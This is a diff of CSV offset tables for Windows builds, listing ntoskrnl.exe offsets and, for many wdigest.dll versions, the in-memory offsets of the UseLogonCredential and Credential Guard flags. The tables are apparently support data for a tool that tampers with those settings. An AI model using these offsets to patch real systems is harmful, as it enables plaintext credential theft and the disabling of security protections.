+ntoskrnl_22621-1555.exe,d0c620,d0c220,d0c420,87a,c32020,20,60,d1da18,d1da40,c8,c37560 +ntoskrnl_22621-1635.exe,d0c660,d0c260,d0c460,87a,c32000,20,60,d1da18,d1da40,c8,c37480 +ntoskrnl_22621-1702.exe,d0c2a0,d0c4a0,d0c6a0,87a,c31fe0,20,60,d1da18,d1da40,c8,c374e0 +ntoskrnl_22621-1778.exe,d0bf00,d0c100,d0bd00,87a,c31fe0,20,60,d1da18,d1da40,c8,c374e0 +ntoskrnl_22621-1848.exe,d0bfc0,d0c1c0,d0bdc0,87a,c31fb8,20,60,d1da18,d1da40,c8,c374c0 +ntoskrnl_22621-1928.exe,d0c080,d0c280,d0c480,87a,c31ff8,20,60,d1da18,d1da40,c8,c374e0 +ntoskrnl_22621-1992.exe,d0c380,d0bf80,d0c180,87a,c31fc8,20,60,d1da18,d1da40,c8,c37480 +ntoskrnl_22621-2070.exe,d0c3c0,d0c1c0,d0bfc0,87a,c31920,20,60,d1da18,d1da40,c8,c375c0 +ntoskrnl_22621-2134.exe,d0c3c0,d0c1c0,d0bfc0,87a,c31900,20,60,d1da18,d1da40,c8,c375e0 +ntoskrnl_22621-2215.exe,d0c380,d0c180,d0bf80,87a,c31900,20,60,d1da18,d1da40,c8,c37500 +ntoskrnl_22621-2283.exe,d0c440,d0c240,d0c040,87a,c318e0,20,60,d1da18,d1da40,c8,c375e0 +ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8,c374c0 +ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8,c37560 +ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500 diff --git a/Offsets/WdigestOffsets.csv b/Offsets/WdigestOffsets.csv index f1d56cd..eeb8fd2 100644 --- a/Offsets/WdigestOffsets.csv +++ b/Offsets/WdigestOffsets.csv @@ -1,35 +1,77 @@ -wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset +imageVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled +wdigest_10240-16384.dll,35134,0 +wdigest_10240-17184.dll,35144,34ba0 wdigest_10240-18244.dll,35144,34ba0 wdigest_10240-18608.dll,35144,34ba0 -wdigest_10586-0.dll,35db0,35ba8 -wdigest_15254-245.dll,34d8c,34b88 -wdigest_10240-17184.dll,35144,34ba0 -wdigest_14393-3750.dll,35dc0,35ba8 -wdigest_15063-1868.dll,34d8c,34b88 -wdigest_14393-0.dll,35dc0,35ba8 -wdigest_14393-3808.dll,35dc0,35ba8 wdigest_10240-18638.dll,35144,34ba0 +wdigest_10586-0.dll,35db0,35ba8 +wdigest_14393-0.dll,35dc0,35ba8 wdigest_14393-3024.dll,35dc0,35ba8 -wdigest_10240-16384.dll,35134,0 +wdigest_14393-3750.dll,35dc0,35ba8 +wdigest_14393-3808.dll,35dc0,35ba8 +wdigest_15063-0.dll,34d8c,34b88 +wdigest_15063-1868.dll,34d8c,34b88 +wdigest_15063-2409.dll,34d8c,34b88 +wdigest_15063-2411.dll,34d8c,34b88 +wdigest_15254-245.dll,34d8c,34b88 +wdigest_16299-15.dll,35114,34b88 wdigest_16299-192.dll,35114,34b88 -wdigest_16299-1937.dll,35114,34b88 wdigest_16299-1217.dll,35114,34b88 -wdigest_17134-1610.dll,36114,35b88 +wdigest_16299-1932.dll,35114,34b88 +wdigest_16299-1937.dll,35114,34b88 wdigest_16299-1992.dll,35114,34b88 -wdigest_17134-829.dll,35114,34b88 +wdigest_17134-1.dll,35114,34b88 wdigest_17134-590.dll,35114,34b88 +wdigest_17134-829.dll,35114,34b88 +wdigest_17134-1550.dll,35114,34b88 wdigest_17134-1553.dll,35114,34b88 +wdigest_17134-1610.dll,36114,35b88 +wdigest_17763-1.dll,35114,34b88 wdigest_17763-194.dll,35114,34b88 -wdigest_17763-1339.dll,36114,35b88 -wdigest_17763-1294.dll,35114,34b88 wdigest_17763-557.dll,35114,34b88 +wdigest_17763-1282.dll,35114,34b88 +wdigest_17763-1294.dll,35114,34b88 +wdigest_17763-1339.dll,36114,35b88 +wdigest_17763-3650.dll,38244,37c08 +wdigest_17763-3772.dll,38244,37c08 +wdigest_17763-3887.dll,38234,37c08 +wdigest_17763-4011.dll,38234,37c08 +wdigest_17763-4131.dll,38234,37c08 +wdigest_17763-4974.dll,428c4,421b8 +wdigest_18362-1.dll,35124,34b88 wdigest_18362-175.dll,35124,34b88 -wdigest_18362-959.dll,36124,35b88 -wdigest_19041-1001.dll,361b4,35c08 +wdigest_18362-900.dll,35124,34b88 wdigest_18362-904.dll,35124,34b88 -wdigest_19041-388.dll,361b4,35c08 -wdigest_19041-329.dll,361b4,35c08 -wdigest_22406-1000.dll,3caa4,3cab0 +wdigest_18362-959.dll,36124,35b88 wdigest_18362-1216.dll,35124,34b88 -wdigest_15063-968.dll,29b24,29708 -wdigest_22000-4.dll,2ab7c,2a760 +wdigest_19041-1.dll,361b4,35c08 +wdigest_19041-329.dll,361b4,35c08 +wdigest_19041-388.dll,361b4,35c08 +wdigest_19041-1001.dll,361b4,35c08 +wdigest_19041-2193.dll,3a2e4,39ca8 +wdigest_19041-2604.dll,3a2e4,39ca8 +wdigest_19041-2673.dll,392b4,38c88 +wdigest_19041-3393.dll,45a24,452e8 +wdigest_19041-3505.dll,45a24,452e8 +wdigest_19041-3516.dll,45a14,452e8 +wdigest_19041-3570.dll,45a14,452e8 +wdigest_19041-3636.dll,45a14,452e8 +wdigest_22000-1.dll,3caa4,3cab0 +wdigest_22000-434.dll,3caa4,3cab0 +wdigest_22000-1030.dll,3caa4,3cab0 +wdigest_22000-1165.dll,3ebdc,3ebe8 +wdigest_22000-1516.dll,3ebdc,3ebe8 +wdigest_22000-1641.dll,3dbbc,3dbc8 +wdigest_22000-1696.dll,3dbbc,3dbc8 +wdigest_22000-2245.dll,4b57c,4b588 +wdigest_22000-2474.dll,4b57c,4b588 +wdigest_22000-2482.dll,4a56c,4a578 +wdigest_22000-2538.dll,4a56c,4a578 +wdigest_22406-1000.dll,3caa4,3cab0 +wdigest_22621-1.dll,3ec0c,3ec18 +wdigest_22621-1244.dll,4b5ac,4b5b8 +wdigest_22621-1364.dll,3ec0c,3ec18 +wdigest_22621-2070.dll,4b5ac,4b5b8 +wdigest_22621-2361.dll,4b59c,4b5a8 +wdigest_22621-2506.dll,4b59c,4b5a8 +wdigest_22621-2700.dll,4b59c,4b5a8